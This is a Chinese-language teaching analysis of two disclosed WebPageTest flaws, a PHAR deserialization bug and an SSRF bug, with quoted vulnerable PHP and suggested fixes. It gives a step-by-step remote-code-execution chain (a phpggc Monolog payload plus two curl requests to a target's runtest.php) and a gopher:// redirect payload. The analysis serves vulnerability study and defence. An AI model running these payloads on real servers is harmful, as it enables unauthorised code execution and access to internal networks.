webpagetest反序列化及ssrf漏洞分析
字数 1163 2025-08-26 22:11:45
WebPageTest反序列化及SSRF漏洞分析教学文档
一、概述
WebPageTest是一款专业的Web页面性能分析工具,2022年9月公开了多个安全漏洞。本教学文档将详细分析其中两个高危漏洞:PHAR反序列化漏洞(AVD-2022-1474319)和SSRF漏洞(AVD-2022-1474320)。
二、PHAR反序列化漏洞分析(AVD-2022-1474319)
1. 漏洞位置
- 文件路径:
www/runtest.php中的RelayTest函数 - 修复提交:GitHub修复提交
2. 漏洞原理
该漏洞源于rkey参数过滤不严,导致攻击者可以:
- 写入可控内容的INI文件
- 通过特定路径触发PHAR反序列化
- 执行任意代码
3. 漏洞利用条件
- 可以写入PHAR文件并知道文件位置
- 存在可触发PHAR协议的函数
- 有适当的类可用于触发反序列化并导致代码执行
4. 关键代码分析
漏洞触发点
function RelayTest() {
$rkey = $_POST['rkey'];
// ...
$id = $rkey . '.' . $test['id'];
$testPath = './' . GetTestPath($id);
file_put_contents("$testPath/testinfo.ini", $ini);
SaveTestInfo($id, $test);
}
反序列化触发点
在SaveTestInfo函数中,is_dir函数可触发PHAR协议:
function SaveTestInfo($testIdOrPath, &$testInfo) {
// ...
if (is_dir($testPath)) {
// ...
}
}
5. 可利用的POP链
- 项目使用了Monolog日志库(位于
www/lib/aws/aws-autoloader.php) - 可使用phpggc工具生成Monolog/RCE2的payload
6. 漏洞利用步骤
- 生成PHAR payload:
./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini
- 对payload进行URL编码:
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
- 写入恶意文件:
curl -sSkig 'http://target/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
- 触发反序列化:
curl -sSkig 'http://target/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
三、SSRF漏洞分析(AVD-2022-1474320)
1. 漏洞位置
- 文件路径:
www/jpeginfo/jpeginfo.php
2. 漏洞原理
该漏洞源于URL参数处理不当,结合CURL的重定向功能,可构造恶意服务器响应实现SSRF攻击。
3. 关键代码分析
漏洞触发点
if (array_key_exists('url', $_REQUEST) && strlen($_REQUEST['url'])) {
$url = trim($_REQUEST['url']);
$id = sha1($url);
$path = GetPath($id);
if (!is_file($path))
GetUrl($url, $path);
// ...
}
URL处理函数
function GetUrl($url, $path) {
if (strcasecmp(substr($url, 0, 4), 'http'))
$url = "http://$url";
// ...
FetchUrl($url);
}
CURL配置(关键问题)
function FetchUrl($url) {
// ...
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
// ...
}
4. 漏洞利用方法
- 构造恶意服务器,响应包含重定向到内部服务的Location头
- 通过重定向实现SSRF攻击,可探测内网信息
5. 攻击示例
- 攻击者控制服务器返回响应头:
Location: gopher://internal-service:port/_payload
- 通过此方式可访问内网服务
四、防御措施
1. 针对PHAR反序列化漏洞
- 严格过滤用户输入的
rkey参数 - 禁用PHAR协议或限制文件写入权限
- 更新Monolog到安全版本
2. 针对SSRF漏洞
- 禁用CURL的重定向功能(
CURLOPT_FOLLOWLOCATION = false) - 对URL参数进行严格校验,限制协议类型
- 实现URL白名单机制
五、总结
这两个漏洞展示了Web应用安全中的常见问题:
- 反序列化漏洞:源于不可信数据的反序列化操作
- SSRF漏洞:源于对外部URL的不当处理
开发者应特别注意:
- 所有用户输入都应视为不可信的
- 文件操作和网络请求需要严格限制和过滤
- 第三方库应及时更新到安全版本